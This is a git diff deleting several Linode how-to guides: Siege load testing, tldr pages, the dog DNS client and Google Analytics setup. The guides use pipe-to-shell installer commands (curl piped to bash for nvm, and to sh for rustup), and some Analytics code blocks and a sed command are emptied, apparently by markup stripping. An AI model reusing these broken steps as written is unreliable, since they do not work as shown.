commands' execution times graphed side by side: - - gping --cmd 'ls' 'ls /' - -![gping graphing execution times for the 'ls' 'ls /' commands](gping-multiple-commands.png) - -Since graphing command execution times is a bonus gping feature, it may not perform reliably for all kinds of commands. This is especially the case for commands that are more complicated. - -If you are looking to measure a command's performances, consider using the hyperfine tool. Hyperfine is a tool for benchmarking command-line commands, with an emphasis on clearly rendering side-by-side comparisons. If you are interested, check out our guide on [getting started with hyperfine](/cloud/guides/installing-and-using-hyperfine-on-linux/). - -## Conclusion - -You are now ready to start using gping to measure response times. Due to the ping tool's simplicity, gping might not fully replace it, however, gping fills a highly useful niche. If you need to measure a host's response times over some duration, it is useful to have gping installed and ready on your system. diff --git a/docs/guides/tools-reference/tools/load-testing-with-siege/index.md b/docs/guides/tools-reference/tools/load-testing-with-siege/index.md deleted file mode 100644 index e1cbff497b0..00000000000 --- a/docs/guides/tools-reference/tools/load-testing-with-siege/index.md +++ /dev/null @@ -1,187 +0,0 @@ ---- -slug: load-testing-with-siege -title: Load Testing Web Servers with Siege -description: 'Load testing your web server with regression testing and benchmarking utility Siege' -authors: ["Elle Krout"] -contributors: ["Elle Krout"] -published: 2015-02-18 -keywords: ["siege", "load testing", "benchmarking"] -tags: ["linux","http"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Siege Home](http://www.joedog.org/siege-home)' -aliases: ['/tools-reference/tools/load-testing-with-siege/'] ---- - -Siege is an HTTP load testing and benchmarking utility that can be used to measure the performance of a web server when under duress. It evaluates the amount of data transferred, response time of the server, transaction rate, throughput, concurrency, and times the program returned okay. Siege offers three modes of operation: Regression, internet simulation, and brute force. - -![Load Testing Web Servers with Siege](load-testing-web-servers-with-siege.png) - -This guide is for Debian or Ubuntu systems. - -## Download and Configure Siege - -1. Prior to installing any new programs, update your system: - - sudo apt-get update && sudo apt-get upgrade --show-upgraded - -2. Download the latest version of Siege (3.0.9 at the time of this publication), which is always available at [Siege's website](http://www.joedog.org/siege-home): - - wget http://download.joedog.org/siege/siege-latest.tar.gz - -3. Extract the program: - - tar -zxvf siege-latest.tar.gz - -4. Navigate to the Siege directory: - - cd siege-*/ - -5. If the GNU Compiler Collection (gcc) is not installed, install now: - - sudo apt-get install build-essential - -6. Configure and complete the installation: - - ./configure - make - sudo make install - -7. Generate a configuration file: - - siege.config - -8. Open the `.siegerc` file located in your home directory. - -9. The suggested Siege configuration is for 25 concurrent users over a period of 1 minute. Set a location for your log file. Be sure to uncomment the variables shown below, and any other commented settings you want to use by removing the pound sign (`#`): - - {{< file "~/.siegerc" >}} -... - - # - # Variable declarations. You can set variables here - # for use in the directives below. Example: - # PROXY = proxy.joedog.org - # Reference variables inside ${} or $(), example: - # proxy-host = ${PROXY} - # You can also reference ENVIRONMENT variables without - # actually declaring them, example: - logfile = $(HOME)/siege.log - -... - - # - # Default number of simulated concurrent users - # ex: concurrent = 25 - # - concurrent = 25 - - # - # Default duration of the siege. The right hand argument has - # a modifier which specifies the time units, H=hours, M=minutes, - # and S=seconds. If a modifier is not specified, then minutes - # are assumed. - # ex: time = 50M - # - time = 1M - - -{{< /file >}} - - -You are now ready to run Siege! - -## Run Siege - -To run Siege with the default settings, input the following command, replacing `www.example.com` with your domain name or IP address: - - siege www.example.com - -Siege outputs the results: - - ** SIEGE 2.70 - ** Preparing 25 concurrent users for battle. - The server is now under siege... - Lifting the server siege... done. - Transactions: 2913 hits - Availability: 100.00 % - Elapsed time: 59.51 secs - Data transferred: 0.41 MB - Response time: 0.00 secs - Transaction rate: 48.95 trans/sec - Throughput: 0.01 MB/sec - Concurrency: 0.04 - Successful transactions: 2913 - Failed transactions: 0 - Longest transaction: 0.01 - Shortest transaction: 0.00 - - FILE: /var/log/siege.log - You can disable this annoying message by editing - the .siegerc file in your home directory; change - the directive 'show-logfile' to false. - -If there are no failed connections and the availability remains at 100%, there are no problems. - -## Further Configuring and Commands - -### Creating a URL File - -If you want Siege to hit a number of pages on your website at random, configure the program to read from a `urls.txt` file that lists the selected pages. - -1. Open the `urls.txt` file generally created at `/usr/local/etc/urls.txt`. Add a list of URLs or IP addresses to that file: - - {{< file "/usr/local/etc/urls.txt" >}} -# URLS file for siege -# -- -# Format the url entries in any of the following formats: -# http://www.whoohoo.com/index.html -# http://www/index.html -# www/index.html -# http://www.whoohoo.com/cgi-bin/howto/display.cgi?1013 -# Use the POST directive for pages that require it: -# http://www.whoohoo.com/cgi-bin/haha.cgi POST ha=1&ho=2 -# or POST content from a file: -# http://www.whoohoo.com/melvin.jsp POST }} - - -2. To run Siege with this file use the `siege` command: - - siege - - If using a separate file, run: - - siege -f your/file/path.txt - -### Commands - -Siege features a number of command line options to use when you want to deviate from the default configuration but do not wish to edit the file. - -- **`-c [num]`**: Set the number of concurrent users. Most web servers have less than a couple hundred users trying to access their website at the same time, so setting this to more than a few hundred is often not needed. - -- **`-t [num]`**: Set a time limit for which Siege runs. Siege can run with the modifiers `s` for seconds, `m` for minutes, or `h` for hours. There should be no space between the number and the modifier (`-t10s` not `-t10 s`). - -- **`-d [num]`**: Set the delay for each Siege user. Each user is then delayed for a random amount of seconds in between 1 and the set number. The default value is 3. - -- **`-i`**: Used in conjunction with a URLs file, this causes each user to randomly hit one of the URLs, with no predetermined pattern. Similar to real life (the 'i' stands for "internet"), where you will not know where site visitors go, not all pages may be hit. - -- **`-v`**: Verbose output. This outputs the results Siege gets in real time before printing the final results. - -- **`-f [file]`**: Run Siege with a file containing a list of URLs that is not the default `urls.txt` file. -- **`-g [url]`**: Pull down the HTTP headers. -- **`-l`**: Generates a log file. -- **`-m "[message]"`**: Include a message in the log file. -- **`-C`**: Outputs Siege's current configuration profile. -- **`-V`**: Outputs Siege's version information. -- **`-h`**: Outputs help information. diff --git a/docs/guides/tools-reference/tools/tldr-pages-on-linux/index.md b/docs/guides/tools-reference/tools/tldr-pages-on-linux/index.md deleted file mode 100644 index 5b917fd5f56..00000000000 --- a/docs/guides/tools-reference/tools/tldr-pages-on-linux/index.md +++ /dev/null @@ -1,277 +0,0 @@ ---- -slug: tldr-pages-on-linux -title: "Use tldr pages on Linux" -title_meta: "How to Use tldr pages on Linux" -description: "This guide shows you how to install tldr pages and use the tldr command-line tool. With tldr pages, you get a more approachable version of traditional man pages, making it easier to get started with new command-line tools." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2021-10-29 -keywords: ['install tldr','tldr pages linux','tldr man pages','tldr linux command'] -tags: ['linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -The [tldr pages project](https://tldr.sh/) seeks to improve and simplify the well-known man pages. tldr pages provide information on a wide range of Linux commands and include several options to interact with the information. Compared to man pages, each tldr page aims to be more intuitive and readable. When learning new Linux commands, tldr pages are an excellent resource. - -In this guide, you learn more about the tldr pages project, how to install tldr pages on a Linux system, and how to use the `tldr` command. This guide also provides a comparison between man pages and tldr pages. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What are tldr pages? - -The [tldr pages project](https://github.com/tldr-pages/tldr) aims to provide a simple alternative to man pages, one that emphasizes readability and practical examples. - -As with man pages, you can use tldr pages to find a description of a command and its available options. But, unlike man pages, tldr pages does not try to provide a comprehensive list of options for each command. Instead, it focuses on each command's most useful options and gives clear and practical examples for each. - -The result is a resource that can make it much easier to learn and start using a new command. A command's man page can be useful if you know the command and want to work out specific actions. However, it can be difficult to engage with man pages if you are less familiar with the command. A command's tldr page, on the other hand, focuses on introducing you to a command. It gives you everything you need to know short of advanced usage. - -## How to Install tldr - -To interact with tldr pages, you can use one of the tldr clients. These give you access to tldr pages from the command line or, in some cases, other platforms. - -Several tldr clients are available, and you can see the full listing on the tldr [GitHub page](https://github.com/tldr-pages/tldr#how-do-i-use-it). - -This guide gives you installation steps for two of the most popular tldr clients, one using **Node.js** and the other using **Python 3**. Take a look at each of the tldr clients in the sections below to learn how to install them on your Linux system. - -### Using Node.js - -1. Install the [node package manager (NPM)](https://www.npmjs.com/). The recommended way to do this is by first installing the Node Version Manager (NVM). - - You can use the series of commands shown below to first install NVM and then use it to install the current version of Node.js. The Node.js installation includes the current NPM release. - - Before proceeding, check the NVM [releases page](https://github.com/nvm-sh/nvm/releases), and replace `v0.38.0` from the command below with the version number of the latest release you find on the releases page. - - curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash - source ~/.bashrc - nvm install node - - You can then verify your NPM installation using the following command: - - npm --version - - {{< output >}} -7.21.0 - {{< /output >}} - -1. Install `tldr` via NPM. Use the `-g` option to install `tldr` as a global NPM package. - - npm install tldr -g - -### Using Python 3 - -1. Make sure you have Python 3 installed. - - On **Debian** and **Ubuntu**, recent releases include Python 3 by default, which you can verify using the `--version` flag. - - python3 --version - - {{< output >}} -Python 3.8.10 - {{< /output >}} - - On **AlmaLinux**, **CentOS** (8 or later), and **Fedora**, use the command below to install Python 3. - - sudo dnf install python3 - -1. Install tldr via Pip 3, the default package installer for Python 3. - - sudo pip3 install tldr - -## How to Use tldr - -You can start using tldr pages by issuing the `tldr` command followed by the name of a command you want to know more about. For example, you can get the tldr page for the `ls` command as shown below: - - tldr ls - -{{< output >}} - ls - - List directory contents. - More information: https://www.gnu.org/software/coreutils/ls. - - - List files one per line: - ls -1 - - - List all files, including hidden files: - ls -a - - - List all files, with trailing `/` added to directory names: - ls -F - - - Long format list (permissions, ownership, size, and modification date) of all files: - ls -la - - - Long format list with size displayed using human-readable units (KiB, MiB, GiB): - ls -lh - - - Long format list sorted by size (descending): - ls -lS - - - Long format list of all files, sorted by modification date (oldest first): - ls -ltr - - - Only list directories: - ls -d */ -{{< /output >}} - -By way of contrast, here is an excerpt from the extensive man page for the `ls` command. - - man ls - -{{< output >}} -LS(1) User Commands LS(1) - -NAME - ls - list directory contents - -SYNOPSIS - ls [OPTION]... [FILE]... - -DESCRIPTION - List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor --sort is specified. - - Mandatory arguments to long options are mandatory for short options too. - - -a, --all - do not ignore entries starting with . - - -A, --almost-all - do not list implied . and .. - - --author - with -l, print the author of each file - - -b, --escape - print C-style escapes for nongraphic characters - - --block-size=SIZE - with -l, scale sizes by SIZE when printing them; e.g., '--block-size=M'; see SIZE format below - - -B, --ignore-backups - do not list implied entries ending with ~ -[...] -{{< /output >}} - -As you can see, the tldr page focuses on giving you clear descriptions and examples of some of the most relevant options for the command. The man page, on the other hand, focuses on a comprehensive listing of options. For this reason, man pages' option descriptions are not always clear and can fall short in helping you find the most useful options. - -Below is another example that goes further in illustrating the contrast between tldr pages and man pages. - - tldr vim - -{{< output >}} - vim - - Vim (Vi IMproved), a command-line text editor, provides several modes for different kinds of text manipulation. - Pressing `i` enters insert mode. `Esc` enters normal mode, which enables the use of Vim commands. - More information: https://www.vim.org. - - - Open a file: - vim path/to/file - - - Open a file at a specified line number: - vim +line_number path/to/file - - - View Vim's help manual: - :help - - - Save and Quit: - :wq - - - Undo the last operation: - u - - - Search for a pattern in the file (press `n`/`N` to go to next/previous match): - /search_pattern - - - Perform a regular expression substitution in the whole file: - :%s/regular_expression/replacement/g - - - Display the line numbers: - :set nu -{{< /output >}} - -And again, the output below displays an excerpt from the man page for comparison. - - man vim - -{{< output >}} -VIM(1) General Commands Manual VIM(1) - -NAME - vim - Vi IMproved, a programmer's text editor - -SYNOPSIS - vim [options] [file ..] - vim [options] - - vim [options] -t tag - vim [options] -q [errorfile] - - ex gex - view - gvim gview vimx evim eview - rvim rview rgvim rgview - -DESCRIPTION - Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs. - - There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, - visual selection, etc.. See ":help vi_diff.txt" for a summary of the differences between Vim and Vi. - - While running Vim a lot of help can be obtained from the on-line help system, with the ":help" command. See the ON-LINE HELP section below. - - Most often Vim is started to edit a single file with the command - - vim file - - More generally Vim is started with: - - vim [options] [filelist] - - If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be - edited. - - file .. A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You - can get to the other files with the ":next" command. To edit a file that starts with a dash, precede the filelist with "--". - - - The file to edit is read from stdin. Commands are read from stderr, which should be a TTY. - - -t {tag} The file to edit and the initial cursor position depends on a "tag", a sort of goto label. {tag} is looked up in the tags file, the associated file becomes - the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is - that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See ":help tag-commands". - - -q [errorfile] - Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the - 'errorfile' option (defaults to "AztecC.Err" for the Amiga, "errors.err" on other systems). Further errors can be jumped to with the ":cn" command. See - ":help quickfix". -[...] -{{< /output >}} - -Notice that, with the tldr page, there is little reference to command-line arguments. This is because Vim does not frequently use them. Instead, the tldr page focuses on the commands you may want to use within Vim. This is much more helpful when getting started using a tool like Vim. - -By contrast, the man page does not provide any information about commands you can use once you have Vim up and running. Instead, true to its goal, the man page gives you an exhaustive list of command-line options. It even includes the seldom-used alternative command names for starting Vim in different modes. - -### How to Use tldr pages and man Pages Together - -tldr pages work best when used in conjunction with man pages. With a command's tldr page, you get a clear and succinct introduction to the command. Its examples and focus on useful options makes the tldr page a valuable place to start. - -The format used by tldr pages does leave some information out for many commands. For instance, say you see the following `ls` command: - - ls -Alh - -The tldr page informs you that the `-l` and `-h` options give you a long listing format and human-readable file sizes, respectively. But then, what does the `-A` option do? That is where the man page can be useful. - -Typically, this is a good method to keep in mind when using tldr pages. A command's tldr page frequently contains all you need to get started; sometimes, you need nothing more than what the tldr page offers. If you find yourself needing to dig deeper into a command, build off of what you learn on the tldr page with the [wealth of details](https://man7.org/linux/man-pages/man1/man.1.html) you can find on the man page. - -## Conclusion - -You now have the knowledge you need to get started using tldr pages. It might be helpful to go ahead and start checking out the tldr pages for some commands you are already using. That way, you get to know tldr pages better and potentially learn how to get more out of those commands. - -Do you see something missing while looking over a tldr page? Is there a command you notice does not have a tldr page yet? Or, do you just like what tldr pages is doing and want to be a part of it? The tldr pages project maintainers keep an open invitation for contributors. All of the tldr pages are stored on the project's [GitHub repository](https://github.com/tldr-pages/tldr), and the tldr team provides a [guide for contributing](https://github.com/tldr-pages/tldr/blob/main/CONTRIBUTING.md). diff --git a/docs/guides/tools-reference/tools/use-dog-linux-dns-client/index.md b/docs/guides/tools-reference/tools/use-dog-linux-dns-client/index.md deleted file mode 100644 index c29e3a4666f..00000000000 --- a/docs/guides/tools-reference/tools/use-dog-linux-dns-client/index.md +++ /dev/null @@ -1,208 +0,0 @@ ---- -slug: use-dog-linux-dns-client -title: "Use the Linux dog Command to Look Up DNS Records" -description: "Learn how to use the dog command-line DNS client, a modern and more user-friendly alternative to dig." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2021-12-23 -keywords: ['dog dns client','dig alternative linux','dig command examples'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -`dog` is a command-line DNS client used for looking up DNS records for domain names. It's an alternative to the popular `dig` command. The `dog` command gives you a simpler interface, more readable results, and additional features like DNS over TLS. - -In this guide, learn more about `dog` and how to install and start using it on your Linux system. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What is dog? - -[`dog`](https://github.com/ogham/dog) is an open-source DNS client for the command line, much like the popular `dig` tool. With `dog`, you get significant improvements to the interface, along with more readable, color-coded results, and the ability to render those results in JSON. `dog` also adds support for DNS over TLS (DoT) and DNS over HTTPS (DoH) protocols, giving you more options for securing your DNS lookups. - -You can learn more about the `dig` command and its features in our guide [Use dig to Perform Manual DNS Queries](/cloud/guides/use-dig-to-perform-manual-dns-queries/). - -## How to Install dog - -1. Install `gcc`, `tar`, and the developer package for `libssl` or `openssl`. Choose the command for your particular Linux distribution. - - - On **Debian** and **Ubuntu**, you can do so with: - - sudo apt install build-essential tar libssl-dev pkg-config - - - On **AlmaLinux**, **CentOS**, and **Fedora**, you can use: - - sudo dnf install gcc tar openssl-devel - - {{< note respectIndent=false >}} -You may need to update your system's version of the GNU C library (glibc). -{{< /note >}} - -1. Install [Rust](https://www.rust-lang.org/). You need Rust to compile the `dog` source code: - - curl --proto =https --tlsv1.2 -sSf https://sh.rustup.rs | sh - - When prompted, select `1` for the default installation path. - -1. Either restart your shell session (exiting and logging back in) or run the following command: - - source $HOME/.cargo/env - -1. Navigate to the [releases page](https://github.com/ogham/dog/releases/) for `dog`, identify the latest release, and copy the URL for the `.tar.gz` file. - - {{< note respectIndent=false >}} -To access the `.tar.gz` file, navigate to the [**Tags** section](https://github.com/ogham/dog/tags) of the dog releases page. - {{< /note >}} - -1. Download that file, replacing the URL below with the one you copied: - - curl -LO https://github.com/ogham/dog/archive/refs/tags/v0.1.0.tar.gz - -1. Extract the contents of the `.tar.gz` file, and change into the extracted directory. Replace the filename below with the one for the file you downloaded. Likewise with the directory name, matching the extracted one: - - tar -xvzf v0.1.0.tar.gz - cd dog-0.1.0 - -1. Run the following command to have Cargo compile the binary for `dog`: - - cargo build --release - -1. Copy the resulting binary into your current user's `PATH`: - - sudo cp target/release/dog /usr/local/bin - -1. Verify your installation by checking the installed version of `dog`: - - dog --version - - {{< output >}} -dog ● command-line DNS client -v0.1.0 -https://dns.lookup.dog/ - {{< /output >}} - -## How to Use dog - -`dog` gives you much of the same functionality of `dig`, but pared down to the essential DNS records. This makes `dog`'s results easier to read and more manageable. - -In the section below, you can see how to get started with basic `dog` queries and learn more about its advanced options. If you want to learn more about DNS and its role in managing your servers, refer to the end of this guide for more resources. - -### Basic Queries - -At its simplest, you can start looking up DNS records with `dog` just by giving it a hostname: - - dog github.com - -{{< output >}} -A github.com. 51s 192.0.2.0 -{{< /output >}} - -The output includes the record type (**A**), the domain name, the time until the record is refreshed (51 seconds), and the record's main contents — a host IP address, in this case. The main contents for a record vary depending on the record type, which you can see with the next example. - -`dog` provides color codes to portions of the records it displays. This helps you navigate the information when your response includes several records, like in the image for the next example command below. - -`dog` looks up **A** type records by default, which contain IPv4 addresses. But you can easily add more record types to your `dog` lookup, like this: - - dog github.com A AAAA MX NS TXT - -{{< output >}} - A github.com. 40s 192.0.2.0 -SOA github.com. 58m20s A "dns1.p08.nsone.net." "hostmaster.nsone.net." 1633608682 12h00m00s 2h00m00s 14d0h00m00s 1h00m00s -SOA github.com. 58m20s A "dns1.p08.nsone.net." "hostmaster.nsone.net." 1633608682 12h00m00s 2h00m00s 14d0h00m00s 1h00m00s - MX github.com. 42m35s 1 "aspmx.l.google.com." - MX github.com. 42m35s 10 "alt3.aspmx.l.google.com." - MX github.com. 42m35s 10 "alt4.aspmx.l.google.com." - MX github.com. 42m35s 5 "alt1.aspmx.l.google.com." - MX github.com. 42m35s 5 "alt2.aspmx.l.google.com." - NS github.com. 1h00m00s "dns1.p08.nsone.net." - NS github.com. 1h00m00s "dns2.p08.nsone.net." - NS github.com. 1h00m00s "dns3.p08.nsone.net." - NS github.com. 1h00m00s "dns4.p08.nsone.net." - NS github.com. 1h00m00s "ns-1283.awsdns-32.org." - NS github.com. 1h00m00s "ns-1707.awsdns-21.co.uk." - NS github.com. 1h00m00s "ns-421.awsdns-52.com." - NS github.com. 1h00m00s "ns-520.awsdns-01.net." -TXT github.com. 11m02s "MS=6BF03E6AF5CB689E315FB6199603BABF2C88D805" -TXT github.com. 11m02s "MS=ms44452932" -TXT github.com. 11m02s "MS=ms58704441" -TXT github.com. 11m02s "adobe-idp-site-verification=b92c9e999aef825edc36e0a3d847d2dbad5b2fc0e05c79ddd7a16139b48ecf4b" -TXT github.com. 11m02s "atlassian-domain-verification=jjgw98AKv2aeoYFxiL/VFaoyPkn3undEssTRuMg6C/3Fp/iqhkV4HVV7WjYlVeF8" -TXT github.com. 11m02s "docusign=087098e3-3d46-47b7-9b4e-8a23028154cd" -TXT github.com. 11m02s "stripe-verification=f88ef17321660a01bab1660454192e014defa29ba7b8de9633c69d6b4912217f" - TXT github.com. 11m02s "v=spf1 ip4:192.30.252.0/22 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com include:spf.protection.outlook.com include:mail.zendesk.com include:_spf.salesforce.com include:servers.mcsv.net ip4:166.78.69.169 ip4:166.78.69.170 ip4:166.78.71.131 ip4:167.89.101.2 ip4:167.89.101.192/28 ip4:192.254.112.60 ip4:192.254.112.98/31 ip4:192.254.113.10 ip4:192.254.113.101 ip4:192.254.114.176 ~all" -{{< /output >}} - -For reference, here are some of the most frequently seen DNS record types, along with brief introductions to each: - -- **A**: Contain the IPv4 addresses for hosts -- **AAAA**: Contain the IPv6 addresses for hosts -- **CNAME**: Keep aliases between domains -- **MX**: Name the mail server domains behind hosts -- **NS**: Give the nameservers responsible for hosts -- **TXT**: Hold arbitrary text for informational purposes - -You can see the list of record types supported by `dog` in its [official documentation](https://dns.lookup.dog/record-types). - -As with `dig`, `dog` gives you an option to output short records, using the `--short` flag. With this option, your results only include the main contents of the record — the IP address, for instance, in **A** records, the mail server in **MX** records, or the informational text in **TXT** records: - - dog github.com A --short - -{{< output >}} -192.0.2.0 -{{< /output >}} - -In addition to providing more readable output, `dog` also comes with an option to export your results as JSON. Here's an example that uses a query similar to the one above and saves the results directly as a `.json` file: - - dog github.com A NS TXT --json > dog-github-dns-lookup.json - -### Advanced Options - -Like `dig`, `dog` lets you specify a DNS server to use for your query. Domains typically have specifically delegated DNS servers that get used whenever you look up their records. However, you can use a tool like `dog` to conduct your lookup using an arbitrary DNS server, which can be useful for testing and troubleshooting: - - dog github.com @8.8.8.8 - -{{< output >}} -A github.com. 1m00s 192.0.2.0 -{{< /output >}} - -Both `dig` and `dog` support lookups for the TCP and UDP protocols. `dog` uses UDP by default, but you can easily use TCP by adding the `--tcp` flag to your command. - -However, in addition to these two protocols, `dog` adds options for two more: DNS over TLS (DoT) and DNS over HTTPS (DoH). Each of these protocols allows you to make more secure DNS queries. - -Here is an example that uses the DoT protocol via a Google DNS server. Using this option can mitigate threats of interference in the request and response: - - dog github.com MX --tls @dns.google - -{{< output >}} -MX github.com. 12m40s 1 "aspmx.l.google.com." -MX github.com. 12m40s 5 "alt1.aspmx.l.google.com." -MX github.com. 12m40s 5 "alt2.aspmx.l.google.com." -MX github.com. 12m40s 10 "alt3.aspmx.l.google.com." -MX github.com. 12m40s 10 "alt4.aspmx.l.google.com." -{{< /output >}} - -Below is an example using the DoH protocol via a Cloudflare DNS server. This protocol can be used for the same reason as the DoT protocol, but has the added feature that it runs on the popular **443** port. That potentially allows it to blend in with other traffic: - - dog github.com NS --https @https://cloudflare-dns.com/dns-query - -{{< output >}} -NS github.com. 6m21s "dns1.p08.nsone.net." -NS github.com. 6m21s "dns2.p08.nsone.net." -NS github.com. 6m21s "dns3.p08.nsone.net." -NS github.com. 6m21s "dns4.p08.nsone.net." -NS github.com. 6m21s "ns-1283.awsdns-32.org." -NS github.com. 6m21s "ns-1707.awsdns-21.co.uk." -NS github.com. 6m21s "ns-421.awsdns-52.com." -NS github.com. 6m21s "ns-520.awsdns-01.net." -{{< /output >}} - -## Conclusion - -To learn more about DNS, including more about record types and the role of DNS in the Internet, take a look at our guide [DNS Records: An Introduction](/cloud/guides/dns-overview/). From there, you may also want to look at our guide [Troubleshooting DNS Records](https://techdocs.akamai.com/cloud-computing/docs/troubleshooting-dns-records). It can give you some ideas for how you might use a tool like `dog` to help keep your DNS setup in order. diff --git a/docs/guides/uptime/analytics/google-analytics-for-websites/index.md b/docs/guides/uptime/analytics/google-analytics-for-websites/index.md deleted file mode 100644 index 05e389c779c..00000000000 --- a/docs/guides/uptime/analytics/google-analytics-for-websites/index.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -slug: google-analytics-for-websites -title: Google Analytics for Websites -description: 'Get in-depth website visitor statistics with Google Analytics on your website.' -authors: ["Elle Krout"] -contributors: ["Elle Krout"] -published: 2015-01-29 -keywords: ["analytics", "google analytics", "analytics", "tracking", "statistics"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Analytics Help](https://support.google.com/analytics/?hl=en#topic=3544906)' - - '[Google Analytics Developers](https://developers.google.com/analytics/)' - - '[Google Analytics for WordPress](/cloud/guides/google-analytics-on-wordpress/)' -tags: ["statistics","analytics"] -aliases: ['/uptime/analytics/google-analytics-for-websites/'] ---- - -Google Analytics offers detailed statistics related to visitor traffic and sales for your website, allowing you to better know your audience. It can be beneficial to any website owner interested in growing their visitor base. - -Although Google Analytics provides a way to add the tracking code to your webpages, if you are not using PHP includes, Server Side Includes, or another form of layout template, the process can be tedious and inefficient. This guide provides two alternatives to inserting the Google Analytics tracking code to your website, depending on your website's set-up. - -{{< note >}} -The steps in this guide require root privileges. Be sure to run the steps below as `root` or with the `sudo` prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - -This guide also assumes you have configured your Apache server as described in our [LAMP](/cloud/guides/web-servers/lamp/) guides with your publicly accessible directory located at something similar to `/var/www/example.com/public_html`. Replace all instances of `example.com` with your own domain information. -{{< /note >}} - -## Signing Up for Google Analytics - -Prior to adding Google Analytics to your website, you need to sign up and set up your Google Analytics account. - -1. Navigate to the [Google Analytics](http://www.google.com/analytics) website, clicking the **Access Google Analytics** button to the top right. - -2. Click **Sign Up**. - -3. Be sure the **Website** option is selected, then enter your account information as desired. Be sure that your website URL is accurate. - - ![Google Analytics account creation](googleana-wordpress-signup.png) - -4. Press **Get Tracking ID**, and read through and accept the Google Analytics Terms of Service. - -5. You will then be given your **Tracking ID** and **tracking code**. Make note of both of these items, you will use them later. - - -You can now add this code to your website through [PHP](#add-through-php), or an [external JavaScript file](#add-through-external-javascript). - -## Add Through PHP - -If your website is coded using PHP (your files will end in `.php`), you can add the tracking code through a PHP script. This is useful if you are not using a separate PHP file for your header, or otherwise want to keep the code itself outside of your header file. This also makes any additional changes to the tracking code far more efficient, since you will only have to edit one file. - -1. Navigate to the directory your website is hosted in: - - cd /var/www/example.com/public_html - -2. Create a file named `googleanalytics.php` and copy your tracking code: - - {{< file "/var/www/example.com/public_html/googleanalytics.php" >}} - - -{{< /file >}} - - - {{< note respectIndent=false >}} -If you copy the above code, replace `UA-00000000-0` with your **tracking ID**. - -At this time you may want to consider enabling the *[demographics](https://support.google.com/analytics/answer/2819948?hl=en)* feature of Google Analytics. If you decide to do so, you will need to add an additional line of code to your JavaScript in the steps below. Insert the following between the lines containing `ga('create', 'UA-00000000-0', 'auto');` and `ga('send', 'pageview');`: - - ga('require', 'displayfeatures'); - -Should you decide to disable the demographics feature at a later date, simply remove the above code. -{{< /note >}} - -3. If your website does not have a separate header file, and you need to insert the code in every page, skip to step 6; otherwise, open and add the following code to your header document (`header.php` here) after your `` tag: - - {{< file "/var/www/example.com/public_html/header.php" >}} - - -{{< /file >}} - - - You have now added Google Analytics to your website! It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. You need not follow the rest of this guide. - -4. If your PHP-enabled website does not have a header template, then you can insert the needed code to your website through the terminal. Make sure you are in the directory that holds your website's files. - - Through using the *stream editor* command (`sed`), you can insert the needed code into multiple documents at once: - - sed -i 's///g' *.php - - {{< note respectIndent=false >}} -If the `` tag of your website contains other variables, please adjust the two instances of `` in the above code to match your current coding. -{{< /note >}} - -5. To see if the code was successfully inserted into your website's files, you can either open your website in your browser and view the source file, or open up a file in the terminal. When you view the file, you should see the code inserted immediately after the `` tag: - - {{< file "/var/www/example.com/public_html/index.php" >}} - - -{{< /file >}} - - -You have now added Google Analytics to your website! It may take up to twenty-four hours for any data concerning your website to show up on Google Analytics. - -## Add Through External JavaScript - -If your website cannot use PHP (its files end in `.html`, `.htm`, or otherwise), you can insert the Google Analytics code through your terminal, using an external JavaScript file and the `sed` command. - -1. Navigate to the directory your website is hosted in: - - cd /var/www/example.com/public_html - -2. (Optional) If you already have a JavaScript folder, change directories to that folder. Otherwise, create a JavaScript folder now: - - mkdir javascript - - Navigate to your newly-made folder: - - cd javascript - -3. Create a `ga.js` file to hold your Google Analytics code. Insert the following code, replacing `UA-00000000-0` with your **tracking ID**: - - {{< file "/var/www/example.com/public_html/javascript/ga.js" >}} -(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ 